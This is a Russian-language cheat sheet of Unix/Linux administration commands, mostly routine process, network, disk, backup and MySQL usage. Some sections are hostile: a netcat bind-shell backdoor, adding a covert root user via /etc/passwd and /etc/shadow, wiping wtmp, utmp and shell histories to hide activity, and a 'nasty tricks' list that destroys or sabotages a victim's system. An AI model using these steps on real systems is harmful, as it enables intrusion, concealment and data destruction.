Команды *nix и примеры их применения
______________________________________________________________
СИСТЕМА
cat /etc/issue - как узнать версию debian\ubuntu
lsb_release -a - как узнать версию debian\ubuntu
cat /etc/lsb-release -как узнать версию debian\ubuntu
cat /etc/debian_version - как узнать версию debian\ubuntu
ps -uax - посмотреть процессы
ps -uaxf - посмотреть процессы
ps -eafw - отобразить запущенные процессы, используемые ими ресурсы и другую полезную информацию
ps axjf - Процессы как дерево процессов
ps aux | grep 'ss[h]' - Найти все ssh pids без grep pid
pstree - отобразить дерево процессов
killall 0 httpd - Выводит на экран текущее состояние процесса httpd?!1
kill -9 98989 - "убить" процесс с PID 98989 "на смерть" (без соблюдения целостности данных)
kill -KILL 98989 - "убить" процесс с PID 98989 "на смерть" (без соблюдения целостности данных)
killall -9 name - убить процесс и все что с ним связано
useradd -m -d /etc/var/www -s /bin/bash -u 1223 userwww -создать пользователя userwww с домашним каталогом www и шелом bash
usermod -s /bin/sh user - назначить user шелл sh
userdel -rf user - удалить пользователя user вместе с его каталогом
groupdel groupgg - удалить группу groupgg
groupadd groupgg - добавить группу groupgg
gpasswd -a user2 groupgg - добавить пользователя user2 в группу groupgg
id - узнать свой id
id user - узнать id пользователя user
getent passwd - как посмотреть всех пользователей
w - кто сейчас из пользователей в системе
who - кто сейчас из пользователей в системе
fuser -va /dev/tty - включить подробные сообщения и показать кто обращается к файлу
fuser -k /dev/tty1 - завершить процессы обращающиеся к этому файлу
fuser -l /dev/tty1 - показать доступные имена сигналов
fuser -va 22/tcp - Процессы использующие порт 22
fuser -va /home - Процессы работающие с разделом /home
uname -r - показать ядро системы
lsusb -t - показать доступные usb устройства
dmesg |less - все о загрузке системы и ее устройств с временными метками (/var/log/dmesg)
lsmod - покажет загруженные модули ядра
modinfo e1000 - посмотреть информацию об модуле ядра
modprobe - программа для подключения и отключения модулей ядра
rcconf - управление демонами
sys-rc-conf - управление демонами
update-rc.d -для создания ссылок загрузки. Runlevel 3 - загрузка без иксов. Runlevel 5 - загрузка с иксами
dpkg-reconfigure tzdata изменить временную зону
date --set xx:xx установить время
date 041217002007.00* - установить системные дату и время ММДДЧЧммГГГГ.СС (МесяцДеньЧасМинутыГод.Секунды)
date -R - Проверить текущее время и часовой пояс
clock -w - сохранить системное время в BIOS
grep MemTotal /proc/meminfo - Информация о RAM
free -m - Используемая и свободная оперативная память (-m for MB)
top - Статистика процессов cpu
htop - Текущее состояние системы
iotop - Анализа потребления дисковой полосы
atop - Статистика загрузки cpu, блочных устройств, сетевых интерфейсов
iftop - Наблюдение за трафиком в реальном времени (сеть)
powertop - Показывает время, затраченное на обслуживание процессором
dnstop - Анализатор DNS-трафика на интерфейсе
iptstate - Монитор contrack из iptables, показывает активные трансляции с возможностью их убить
mpstat 1 - Статистика загрузки процессора
vmstat 2 - статистика использования виртуальной памяти
iostat 2 - Статистика I/O (2 s интервал)
tail -n 500 /var/log/messages - Последние 500 kernel/syslog сообщений
tail /var/log/warn - Предупреждения об ошибках, см. syslog.conf
pgrep -l sshd - Найти PIDs процессов по имени (части имени)
echo $$ - PID нашего shell
pmap PID - Карта памяти процесса (поиск утечки памяти), используемые библиотеки
mount | column -t - Смонтированные файловые системы
df - Свободное пространство на дисках
cat /proc/partitions - Все зарегистрированные разделы (Linux)
______________________________________________________________
Top, htop
Top - выводит информацию в реальном времени о запущенных процессах.
Htop - продвинутая версия top, ставится из репозиториев.
<u> [username] Показывает процессы принадлежащие пользователю username
<k> [pid] Убить процесс с pid
<1> Покажет статистику использования процессоров
<R> Сортировка
______________________________________________________________
Kill, signals
ping -i 60 ya.ru > ping_ya.ru.log & (создали процесс с пидом [1] 4712)
kill -s TERM 4712 - также kill -15 4712
killall -1 httpd - Завершить HUP процесс по имени
pkill -9 http - Завершить TERM процесс по имени (части имени)
pkill -TERM -u www - Завершить TERM процессы принадлежащие www
fuser -k -TERM -m /home - Завершить все процессы использующие /home (для umount)
Сигналы:
-1 HUP - Дать отбой, перегрузка конфигурационных файлов и перезапуск программы
-2 INT - Прервать
-3 QUIT - Выйти
-9 KILL - Прекратить все выполняющиеся действия и завершить работу
-15 TERM - Мягкое завершение с удаление порожденных процессов и закрытием файлов
______________________________________________________________
Ограничения shell/script
ulimit -a - Смотрим ограничения
ulimit -n 10240 - Меняем ограничение на количество открытых файлов, только shell
______________________________________________________________
Ограничения user/process
cat /etc/security/limits.conf
* hard nproc 250 - Ограничения пользовательских процессов
asterisk hard nofile 409600 - Ограничения на открытые файлы приложения
______________________________________________________________
Ограничения на всю систему
sysctl -a - Смотрим системные ограничения
sysctl fs.file-max - Максимальное количество открытых файлов
sysctl fs.file-max=102400 - Меняем максимальное количества открытых файлов
echo "1024 50000" > /proc/sys/net/ipv4/ip_local_port_range - диапазон портов
cat /etc/sysctl.conf
fs.file-max=102400 - Ввод по умолчанию sysctl.conf
cat /proc/sys/fs/file-nr - Сколько дескрипторов файлов используется
______________________________________________________________
gpg --keyserver wwwkeys.us.pgp.net --recv-keys ключ
gpg --armor --export ключ | apt-key add -
apt-get update
______________________________________________________________
dpkg - l -получить список установленных пакетов
dpkg -i namepacket (-i install)
dpkg -r -P namepaket (-r remove -P purge)
______________________________________________________________
apt-get install --reinstall proga -переустановка программы
apt-get remove --purge proga -удаление месте с конфигурациями
apt-cache show пакет -показывает сводку на указанный пакет
apt-get check -проверяет состояние зависимостей в системе.
apt-get -f install -Попытка привести систему в замкнутый, логичный вид
apt-get dist-upgrade -модернизировать систему
______________________________________________________________
hdparm -I /dev/sda - Информация о IDE/ATA (Linux)
fdisk /dev/ad2 - Работа с таблицей разделов
smartctl -a /dev/ad2 - Отобразить информацию SMART
smartctl -A /dev/hda - S.M.A.R.T smartmontools -нужен пакет (еще есть gsmartcontrol+smartmontools+libatasmart)
hdparm -i /dev/sda - вывести характеристики жесткого диска серийный номер диска и тд
hdparm -t /dev/sda - протестировать производительность чтения данных с жесткого диска
hdparm -tT /dev/sda - протестировать производительность чтения данных с жесткого диска
hdparm -d 1 /dev/hdX - проверить режим дма (ускорит работу харда)
hdparm -k 1 /dev/hdX - задать режим дма (ускорит работу харда)
touch -t 0712250000 fileditest - поменять дату файла fileditest
tail -f /var/log/messages - следим за логами системы
cat /var/lib/dhcp/dhcpd.leases -посмотреть какие адреса раздал dhcpd (DHCP сервер)
cat /proc/net/dev - сеть какие пакеты передаются
______________________________________________________________
Производительность дисков
time dd if=/dev/ad4s3c of=/dev/null bs=1024k count=1000
time dd if=/dev/zero bs=1024k count=1000 of=/home/1Gb.file - Читаем и пишим 1GB в /home (/dev/ad4s3c)
hdparm -tT /dev/hda - протестировать производительность чтения данных с жесткого диска
______________________________________________________________
СЕТЬ
trafshow посмотреть активность сети
ss -s Мониторинг сетевых соединений. похожа на netstat
ss -l Информация об ожидающих соединений сокетах
ss -lp Информация об ожидающих соединений сокетах, а также именах процессов, их использующих
ss -at Информация обо всех задействованных TCP сокетах
ss -au Информация обо всех задействованных UDP сокетах
ss -o state established '( dport = :smtp or sport = :smtp )' Информация обо всех установленных SMTP-соединениях
ss -o state established '( dport = :http or sport = :http )' Информация обо всех установленных HTTP-соединениях:
ss -x src /tmp/.X11-unix/* Локальные процессы, подключённые к X-серверу:
ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 202.54.1/24 TCP-сокеты, находящиеся в состоянии FIN-WAIT-1 для соединений из подсети
nmap -v -A 192.168.0.101
nmap -v -sP 192.168.0.101/24
nmap -O target.host.com
nmap -vv host.target.com
nmap -sP 192.168.1.0/24 - Узнать занятые IP в сети 1.0/24 (IP, MAC, hostname)
nmap -sS -sV -O tager.ru - Скрытое SYN сканирование с определением типа и версии ОС
nmap -sX -p 22 192.168.10.10-250 -oN /data/host.txt - Сканирование машин с ip от 10 по 250 и запись резултата
netstat -nt
netstat -nlp |grep :25
netstat -i
netstat -apn --inet
netstat -ltpn --inet
netstat -tuep информация кто использует TCP и UDP (а также процесс и только для установленных соединений)
lsof -i udp информация кто использует UDP
lsof -i :22 информация кто использует 22 порт
route -n (p - serveces t - tcp ip l - udp)
ifconfig eth0 inet 192.168.0.78/24
route add default gw 192.168.0.1
route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1
route del -net 192.168.0.0 netmask 255.255.255.0 eth0
echo 1 > /proc/sys/net/ipv4/ip_forward
tcpdump -i eth0
tcpdump -n -i eth0 ether host mac
tcpdump -nl -i eth0 not port ssh and src \(192.168.1.10 or 192.168.1.15\)
tcpdump -n -i eth0 net 192.168.1.15 - трафик с/на IP
tcpdump -n -i eth0 net 192.168.1.0/24 - трафик с/в сеть
tcpdump -l > dump && tail -f dump - Вывод с записью в файл
tcpdump -i eth0 -w traffic.eth0 - Информация о трафике записывается в бинарный файл traffic.eth0
tcpdump -i eth0 -s 0 -w traffic.eth0 - Запись + загрузка в бинарник
tcpdump -r traffic.eth0 - Читаем из файла
tcpdump port 80 - Весь трафик на 80 порт и ответы
tcpdump host google.com - Весь с/на google.com
tcpdump -i eth0 -X port \(110 or 143\) - Проверка pop и imap на безопасность
tcpdump -n -i eth0 icmp - Ловим pings
tcpdump -i eth0 -s 0 -A port 80 | grep GET - (-s 0 весь пакет, -A для ASCII)
ethtool -s eth0 speed 1000 duplex full autoneg off
iperf -s 127.0.0.1 поднять сервер для теста скорости
iperf -s -p 8080 поднять сервер для теста скорости
iperf -c 192.168.13.243 проверить скорость
iperf -c 172.16.12.1 -p 8080 -t 180 проверить скорость
host ya.ru
arping 192.168.0.1
arping -i eth0 f0:7d:68:95:f1:c8
ping 192.168.0.1
tracepath -n ya.ru
traceroute -ln ya.ru (как в винде покажит)
xfreerdp -k en_us -f -u user -p password server (RDP client)
______________________________________________________________
Отключаем ответы сервера на ping
sysctl net.ipv4.icmp_echo_ignore_all
sysctl -w net.ipv4.icmp_echo_ignore_all=1 - отключаем ответ на ping
чтоб сохранялось при перегрузке
nano /etc/sysctl.conf - проверяем значение
net.ipv4.icmp_echo_ignore_all=1 - выставляем 1 и сохраняем
______________________________________________________________
ФАЙЛЫ
sync -заставит записать на диск сразу
iotop - дисковая активность
______________________________________________________________
Поиск текста и файлов.
grep -Ev "^#|^$" - покажет файл без комментариев
grep -Ev "^#|^$" filename > filename.txt - вот так можно вырезать комментарии
grep -rnw function_name /myprogram/1/ - пищит в каталоге /myprogram/1/ фразу function_name и покажет номер строки этой фразы
grep -w needle haystack.txt - поиск слова
grep slovoichu /gde/icllly.txt - поиск слова
find -name "*.txt" - найти все файлы в названиях которых есть .txt
find /root -name "*.txt" -exec grep -H "123" "{}" \; - найти в каталоге /root все файлы .txt и показать файл в котором есть текст 123
find . -type d -exec chmod 755 {} \; найти все директории и дать пров 755
find . -type f -exec chmod 644 {} \; найти все файлы и дать прова 644
______________________________________________________________
Архивы
tar cf back.tar /home/user запаковка Z-tar.Z z-tar.gz j-tar.bz2
tar tf back.tar проверка
tar xf back.tar распаковка
tar tfv viruses-2010-05-18.tar.bz2 1>zxcvirus.txt просмотр архива и запись в файл описания
______________________________________________________________
Пример архивирования и восстановления
tar cvzpf /home/Backup`date +%y_%m_%d`.tgz --same-owner --exclude=/home/Backup.tgz --exclude=/home/error.log --exclude=/proc/* --exclude=/media/* --exclude=/dev/* --exclude=/mnt/* --exclude=/sys/* --exclude=/tmp/* / 2>/home/error.log
tar cvzpf /home/Backup-etc`date +%y_%m_%d`.tgz /etc 2>/home/error.log
tar xvzf /home/Backup.tgz -C / восстановление
______________________________________________________________
Клонирование
dd if=/dev/sda of=/dev/sdb bs=16M (if что of куда bs размер блока count сколько раз записывать)
dd if=/dev/sda of=/zxc/mbr.back bs=512 count=1 (backup mbr)
dd if=/zxc/mbr.back of=/dev/sda bs=512 count=1 (восстановления из backup)
______________________________________________________________
dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc - Создание ISO образа
Используем mkisofs для создания CD/DVD образа из файлов в папке.
Для преодоления ограничений на имена файлов:
-r разрешает Rock Ridge расширения для UNIX истем,
-J разрешает Joliet расширения используемые Microsoft ОС.
-L разрешает имена согласно ISO9660.
mkisofs -J -L -r -V TITLE -o imagefile.iso /path/to/dir
cdrecord -scanbus - Находим устройство для записи (1,0,0)
cdrecord dev=1,0,0 imagefile.iso - Запись
cdrecord dev=ATAPI -scanbus # Можно использовать native ATAPI
dd bs=1k if=imagefile.nrg of=imagefile.iso skip=300 -Конвертируем Nero .nrg файл в .iso
Nero просто добавляет 300Kb заголовок к нормальному iso
mount -o loop disk.iso /zzz - монтирование iso образа
______________________________________________________________
Синхронизация каталогов
rsync -a /dir1/dir2 /dir3 - будет создана иерархия /dir3/dir2/файлы
rsync -a /dir1/dir2/ /dir3 - будет создана иерархия /dir3/файлы
rsync -a $srv/ $srv:src
______________________________________________________________
Синхронизация каталогов ssh+rsync
rsync -avz --delete -e ssh логин@удалённый.хост:путь/откуда/ путь/куда -изменяется удалённый каталог, копируем его на локальную машину
rsync -avz --delete -e ssh путь/откуда/ логин@удалённый.хост:путь/куда -изменяется локальный каталог, копируем его на удаленную машину
______________________________________________________________
Синхронизация каталогов ftp
lftp -e 'mirror -e каталог-на-сервере локальный-каталог; bye;' -u логин,пароль удалённый.хост - синхронизировать локальный каталог с удалённым
lftp -e 'mirror -R локальный-каталог каталог-на-сервере; bye;' -u логин,пароль удалённый.хост - выложить локальный каталог на удалённый сервер
______________________________________________________________
vimtutor - программа для обучающая работе в vi
fdisk -l - показать доступные диски и разделы
du -h - показать занятое место в текущем каталоге
df -h - показать занятое место на всех дисках
df - Показать свободное пространство на дисках и смонтированные устройства
du -sh * - Размер каталога (листинг файлов и подкаталогов)
du -csh - Размер текущей директории
du -ks * | sort -n -r - Сортировать по размеру (kbytes)
ls -lSr - Показать файлы с сортировкой по размеру
wc -l filename - посчитать количество строк в файле
touch lol{1,2,3}.txt - создать пустые файлы lol1.txt lol2.txt lol3.txt
mkdir -p lol{1,2,3} - создать каталоги lol1 lol2 lol3
mkdir -p /root/hhh m{zxc1,zxc2,zxc3} - создать каталог /root/hhh и в нем каталоги mzxc1 nzxc2 mzxc3
mkdir -p /root/hhh/{zxc1,zxc2,zxc3} - создать каталог /root/hhh и в нем каталоги zxc1 zxc2 zxc3
dd if=/dev/zero of=filemy bs=10M count=1 - создать filemy размером 10Мб
split -b 1M filemy - разбить filemy на части размером 1 Мб с помощью опции -b
split -n 3 filemy - разрезание filemy на три части
head -n 23
tail -n 23
tail -n0 -f /var/log/syslog
cut
sort
cat
less
cp file1 file2
cp file1 file2 dir
cp (x*~x[3-5]) newdir - скопировать все файлы вида x* кроме x3 по x5
cp *(^m0) newdir - скопировать файлы модифицированные не сегодня
2>stderr
1>stdout
0>stdin
______________________________________________________________
vi Минимальный набор команд:
dd — удалить строку;
5dd — удалить 5 строк;
<esc>:x — выход с сохранением;
<esc>:q! — выход без сохранения изменений.
i — перейти в режим вставки;
a — перейти в режим вставки со следующего символа;
<esc> — выход из режима редактирования.
______________________________________________________________
nano - редактор файлов, более дружелюбный чем vim ;)
# nano /etc/hosts # просмотр и релактирование файла
# export EDITOR=nano # делаем nano редактором файлов по умолчанию
Ctrl-X - закрыть редактор
Ctrl-O - сохранить
Ctrl-C - номер строки\текущая позиция
Ctrl-W - поиск
Ctrl-W затем Ctrl-T - переход к строке №
Ctrl-K - вырезать строку
Ctrl-U - вставить из буфера
Alt-A - выделение (вне X)
Alt-6 - копировать в буфер
______________________________________________________________
Использование числовых суффиксов
Команда split позволяет создавать файлы с числовыми суффиксами вместо символьных.
Приведенная ниже команда создает файл для каждого символа в строке "linuxcareer.com".
Секрет заключается в том, что мы разрезаем файл, задавая размер части в байтах, а 1 байт эквивалентен 1 символу.
Также вместо символьных мы используем числовые суффиксы:
ls
echo linuxcareer.com | split -b 1 -d
ls
x00 x01 x02 x03 x04 x05 x06 x07 x08 x09 x10 x11 x12 x13 x14 x15
cat *
linuxcareer.com
______________________________________________________________
Бесконечный цикл показывать время каждую секунду
#!/bin/bash
while :;do clear ;date ;sleep 1;done
______________________________________________________________
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop.."
sleep 1
done
______________________________________________________________
#!/bin/bash
while true
do
echo "Press [CTRL+C] to stop.."
sleep 1
done
______________________________________________________________
#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap '' SIGQUIT
trap '' SIGTSTP
# display message and pause
pause(){
local m="$@"
echo "$m"
read -p "Press [Enter] key to continue..." key
}
# set an
while :
do
# show menu
clear
echo "---------------------------------"
echo " M A I N - M E N U"
echo "---------------------------------"
echo "1. Show current date/time"
echo "2. Show what users are doing"
echo "3. Show top memory & cpu eating process"
echo "4. Show network stats"
echo "5. Exit"
echo "---------------------------------"
read -r -p "Enter your choice [1-5] : " c
# take action
case $c in
1) pause "$(date)";;
2) w| less;;
3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
echo; pause;;
4) netstat -s | less;;
5) break;;
*) Pause "Select between 1 to 5 only"
esac
done
______________________________________________________________
ln -s /что "название линка" - нужно быть в той папке куда нужно сделать линк
rm /etc/udev/rules.d/70-pesistent-net.rules убить сетевушки и левые интерфесы
______________________________________________________________
mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап
mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql -востоновление
mysql -uroot -p -логинемся для управления mysql
CREATE DATABASE <имя базы>; -создать базу
CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; -создать базу + установить кодировку и тд
GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost' IDENTIFIED BY 'user_password'; -оздать нового пользователя и дать ему доступ к соответствующей базе
USE db_name; -Выбрать базу для работы
DROP DATABASE dbname; -Удалить базу данных
INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; -Скопировать данные из одной таблицы в другую
SHOW databases; -Вывести список баз данных, к которым пользователь имеет доступ:
SHOW tables; -Вывести список таблиц, для текущей выбранной базы:
DESCRIBE pet; -Посмотреть поля таблицы
SELECT * FROM users LIMIT 5 OFFSET 5; -Посмотреть данные в таблице
CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); -Создать таблицу
______________________________________________________________
ping6 -c4 -I eth0 ff02::1 узнать какие хосты могут использовать ipv6
ping6 ::1 пингануть локальный хост
::1 — это сокращение от 0000:0000:0000:0000:0000:0000:0000:0001. Любая непрерывная последовательность нулей может быть заменена на пару двоеточий, а любая четвёрка, состоящая из нулей, может быть заменена на один ноль
ssh phineas@fe80::221:97ff:feed:ef01%eth0
И опять же, если вы используете link-local адрес, то вы должны указать имя интерфейса с которого будете осуществлять подключение. Как показано выше, делается это путём добавления знака процента и имени интерфейса
ifconfig eth0 | grep "inet6 addr:" посмотреть адресс
ip -6 addr add 2001::1/64 dev eth0 назначить адресс
ip -6 addr del 2001::1/64 dev eth0 удалить адресс
# ip6tables -P OUTPUT DROP
# ip6tables -p INPUT DROP
# ip6tables -p FORWARD DROP
2001:db8:0000:0000:0000:0000:0000:0001
_____________|____|___________________
Network ID Subnet Interface ID
адреса из области 2001:0DB8::/32 предназначены для использования в экспериментах
sysctl -w net.ipv6.conf.all.forwarding=1 вкл маршрутизации ipv6
cat /proc/sys/net/ipv6/conf/eth0/forwarding проверка влючения маршруцизации ipv6
_____________________________________________________________
пример скрипта backup файлов
#!/bin/sh
tar -zcvpf /backup/backup-`date '+%d-%B-%Y'`.tar.gz --directory / \
--exclude=proc --exclude=var --exclude=mnt --exclude=usr --exclude=backup .
В данном примере сохраняются не отдельные директории, а корневая директория /, исключая /proc, /var, /mnt, /usr и, конечно, /backup. Также к имени файла добавляется дата создания резервной копии.
______________________________________________________________
wget -r -l 10 -k http://example.org/ Скопировать весь сайт целиком
wget --user=login --password=password ftp://ftp.example.org/some_file.iso спользование имени пользователя и пароля на FTP/HTTP
wget ftp://login:password@ftp.example.org/some_file.iso спользование имени пользователя и пароля на FTP/HTTP
wget --continue --recursive --level=1 http://www.vereskmed.ru/music/album_1/ Ну вот для примера простая команда для скачивания всего первого альбома группы "Вересковый мёд"
________________________________________________________________
zip -r -9 "название zip-архива" "имя файла или папки" "другие имена файлов или папок для добавления в архив, через пробел"
Используйте "-9" для максимальной степени сжатия (общий диапазон от 1 до 9).
Для создания zip-архива с одиночным файлом не используйте никаких опций, кроме степени сжатия.
unzip -распаковка
________________________________________________________________
где искать вредоносный код в linux
/var/at/tabs/<username>
/etc/ttys
/etc/profile
/etc/bashrc
/etc/csh.cshrc
/etc/csh.login
/etc/rc.common
~/.profile
~/.bashrc
______________________________________________________________
В OS X вредоносный код может скрываться здесь:
/System/Library/LaunchDaemons
/System/Library/Extensions
/Library/LaunchDaemons
/System/Library/LaunchAgents
/Library/LaunchAgents
/Library/StartupItems
/Library/Preferences/loginwindow.plist
~/Library/LaunchAgents
~/Library/Preference/loginitems.plist
~/Library/Preference/loginwindows.plist
Но это, скорее, касается зловреда, который работает в user mode. Изящно написанная малварь может сделать бэкдор прямо в ядре системы:
/System/Library/Caches/com.apple.kernelcaches
/System/Library/Filesystems/AppleShare/
/System/Library/Filesystems/hfs.fs/Encodings/
А еще более искусно созданные образцы задействуют расширения EFI (актуально для современных Mac'ов, построенных на платформе Intel).
_______________________________________________________________
Netcat (nc)
nc yandex.ru 80
HEAD / HTTP / 1.0
GET /HTTP /1.0
_______________________________________________________________
Netcat (nc) Передача файла
cat disk.iso | nc 127.0.0.1 5000 передача
nc -l 5000 > disk.iso прием
_______________________________________________________________
Netcat (nc) Передача папки
server# tar -cf - -C VIDEO_TS . | nc -l -p 4444 - Сделаем архив папки и прикрепим на 4444 порт
client# nc 192.168.1.1 4444 | tar xpf - -C VIDEO_TS - Получим файл с порта 4444 и распакуем
server# tar -czf - /etc/ | nc -l 3333 - Быстрый backup
client# nc 192.168.1.1 3333 | pv -b > mybackup.tar.gz
_______________________________________________________________
Netcat (nc) Передача файла
server# cat largefile | nc -l 5678 - Публикуем файл largefile на 5678 порт
client# nc 192.168.1.1 5678 > largefile - Принимаем файл с 5678 порта в новый файл largefile
server#cat backup.iso | pv -b | nc -l 3333 - Передаем файл с информацией о состоянии (прогресс)
client#nc 192.168.1.1 3333 | pv -b > backup.iso - Получаем файл с информацией о состоянии (прогресс)
_______________________________________________________________
Netcat (nc) Передача образа
server# dd if=/dev/sda0 | nc -l 4444 - Передаем образ раздела
client# nc 192.168.1.1 4444 | dd of=/dev/sda0 - Клонируем раздел
client# nc 192.168.1.1 4444 | dd of=sda0.img - или записываем образ в файл
server# dd if=/dev/hdb5 | gzip -9 | nc -l 3333
client# nc 192.168.1.1 3333 | pv -b > myhdb5partition.img.gz
_______________________________________________________________
Netcat (nc) Сканер портов
# nc -v -w 1 localhost -z 1-5901 |grep succeeded!
Connection to localhost 22 port [tcp/ssh] succeeded!
Connection to localhost 25 port [tcp/smtp] succeeded!
# nc -z 192.168.1.112 1-90
Connection to 192.168.1.112 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.112 80 port [tcp/http] succeeded!
_______________________________________________________________
Netcat (nc) Чат
zabrosov# nc -lp 4444
boss # nc 192.168.1.11 4444
_______________________________________________________________
Netcat (nc) Hacks
# nc -lp 4444 -e /bin/bash - Удаленный shell (server backdoor)
# nc -lp 4444 -e cmd.exe - Удаленный shell для Windows; -e только для win ?
# webserver
# while true; do nc -l -p 80 < hohoho.html; done - Петля на 80 порту, отдаёт html страничку
_______________________________________________________________
# Бэкап по шифрованному туннелю, с автозакрытием в конце операции
server# cat backup.iso | nc -l 3333
client# ssh -f -L 23333:127.0.0.1:3333 hohoho@192.168.1.1 sleep 10; nc 127.0.0.1 23333 | pv -b > backup.iso
_______________________________________________________________
ssh user1@remote_server
scp -r file.txt user1@remote_server:~/ скопировать в домашнею директорию
_______________________________________________________________
/etc/udev/rules.d/70-persistent-net.rules - файл отвечает за автоматическое именование интерфейсов (удали избавишь себя от лишних интерфейсов eth0-10)
______________________________________________________________
nano /etc/network/inerfaces
настройки интерфейса который получает интернет
allow-hotplug eth0 -автоматически определить интерфейс
iface eth0 inet static -статический IP адрес
address 192.168.3.112 -адрес интерфейса
netmask 255.255.255.0 -маска сети
gateway 192.168.3.1 -интернет
auto eth0
Настройка интерфейс который его раздает
iface eth1 inet static
address 192.168.15.1
netmask 255.255.255.0
auto eth1
_____________________________________________________________
Отключение ipv6
В файле /etc/sysctl.conf вставляем следующие строки -
#disable ipv6 settins
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
Сохраняем файл.
Применяем: sysctl -p
Отключение 6to4
netsh int 6to4 set st disabled
________________________________________________________________
T - Trancieve (отправление) tx передача
R - Recieve (получение) tx прием
com порт. Что такое Tx, Rx и Gnd ? = TX (передача, данные к телефону) = RX (прием, данные из телефона) , Gnd это масса (заземление).
________________________________________________________________
google.com "Таблица соответствий Windows и Linux программ"
________________________________________________________________
Мини тест хоста
nmap -P0 -p 1-65505 XXX.XXX.XXX.XXX (или хост) скан хоста
nmap -P0 -p 1-65505 127.0.0.1 скан локального хоста
netstat -anp | grep LISTEN | grep 665 кто слушает 665
lsof -i кто что слушает
netstat -nlpt кто что слушает
netstat -pantu кто что слушает
netstat -anp кто что слушает
etstats -tuep кто что слушает
cat /etc/passwd проверяем пользователей
________________________________________________________________
Как добавить юзера с правами root
будем редактировать файлы /etc/passwd и /etc/shadow каждое поле разделяется (:) двоеточием.
Редактируем файл /etc/passwd
копируем строку root:x:0:0:root:/root:/bin/bash и вставляем куда нить в середину во второй записи вместо root пишем свой желаемый логин
Редактируем файл /etc/shadow
Копируем строку root:$pass:15295:0:99999:7:::
и вставляем куда нить в середину во второй записи вместо root пишем свой желаемый логин
после двоеточия (:) идет пароль его либо стираем либо пишем свой желаемый пароль
________________________________________________________________
Немного о логах (чистим логи)
редактируются обычным редактором
/var/log/messages - что делал юзер
/var/adm/messages -что делал юзер
/var/log -демоны
редактируются командами
/var/log/wtmp -время сколько проработал юзер
/var/run/utmp -время сколько проработал юзер
вот такими командами
echo -ne > /var/log/wtmp
echo -ne > /var/run/utmp
.bash_history находиться в домашнем каталоге юзера
.mc/history находиться в домашнем каталоге юзера
________________________________________________________________
Гадости
самое тупое удаляем все rm -fr /
тупое трем загрузчик rm -fr /boot/*
chattr +i /bin защита от записи для root даже
файл /etc/nsswitch.conf стираем некоторые строки с files и db чувак долго будет думать чего у него нету инета
________________________________________________________________
apt-get remove mpt-status убираем ошибку на виртуалке связанную с raid
________________________________________________________________
md5 пароль 123456 http://www.miraclesalad.com/webtools/md5.php
MD5 Hash:
e10adc3949ba59abbe56e057f20f883e
_______________________________________________________________
Быстрая настройка сети
ifconfig eth0 inet 192.168.3.13/24
route add default gw 192.168.3.13
echo nameserver 192.168.3.1 > /etc/resolv.conf
_______________________________________________________________
Автозагрузка
# atostart 1
update-rc.d name1111 defaults -дабавить файл в авто загрузку /etc/init.d/*
update-rc.d [-n] [-f] имя remove
update-rc.d [-n] имя defaults [NN | SS KK]
# autostart 2
У нас есть скрипт, скажем /home/iptable.sh
Нужно добавить строку /home/iptable.sh в файл /etc/rc.d/rc.local
# autostart 3
пример автозагрузки скрипта от другого пользователя
cat /etc/rc.local
user=nameuser
program=/path/dir
su -m ${user} -c ${program}
# autostart 4
cat /home/dirscrit/myscript.pl
#!/bin/sh
/usr/bin/perl /home/dirscrit/myscript.pl
________________________________________________________________
Загрузачная флешка grub4dos
#из windows
1.форматнуть флешку в fat32
2.скопировать начинку
3. запустить bootice 0.9
4. выбрать нужный диск
5. install mbr > grub4dos
6. install pbr > grub4dos
#из linux
1.форматнуть флешку в fat32
2.скопировать начинку
3.сделать исполнительным chmod a+x bootlace.com
4. записать загрузчик ./bootlace.com /dev/sdb1
________________________________________________________________
Загрузка системы
Загрузившись, ядро стартует процесс init, который запускает rc, коорый в свою очередь выполняет все скрипты, соответствующего уровня запуска. Скрипты расположены в /etc/init.d и слинкованы в /etc/rc.d/rcN.d, где N, означает уровень запуска.
Уровень запуска по-умолчанию, установлен в /etc/inittab, и как правило имеет значение 3 или 5:
# grep default: /etc/inittab
id:3:initdefault:
Текущий режим работы может быть изменен с помощью все того-же init. Например, перейдем с 3 уровня на 5:
# init 5 # Переходим в режим 5
0 Shutdown and halt
1 Single-User mode (also S)
2 Multi-user without network
3 Multi-user with network
5 Multi-user with X
6 Reboot
Используйте chkconfig для конфигурирования программ, которые должны стартовать при загрузке в соответствующий режим.
# chkconfig --list # Список всех init-скриптов
# chkconfig --list sshd # Показать статус sshd
# chkconfig sshd --level 35 on # Конфигурирование sshd для уровня 3 и 5
# chkconfig sshd off # Отключение sshd для всех уровней
Debian и основанные на нем дистрибутивы, Ubuntu или Knoppix, для управления скриптами Runlevel, используют команду update-rc.d. По-умолчанию, 2,3,4 и 5 уровень для старта, и 0,1 и 6 для останова.
# update-rc.d sshd defaults # Активировать sshd с уровнем запуска по-умолчанию
# update-rc.d sshd start 20 2 3 4 5 . stop 20 0 1 6 . # Непосредственное указание уровней запуска и останова
# update-rc.d -f sshd remove # Запретить sshd для всех уровней
# shutdown -h now (or # poweroff) # Остановить и выключить систему
________________________________________________________________
fsboot Загрузка
FreeBSD и большинство Unixes
# fstat -f /home # для точки монтирования
# fstat -p PID # для приложения с PID
# fstat -u user # для имени пользователя
Найти открытый файл для Xorg:
# ps ax | grep Xorg | awk '{print $1}'
1252
# fstat -p 1252
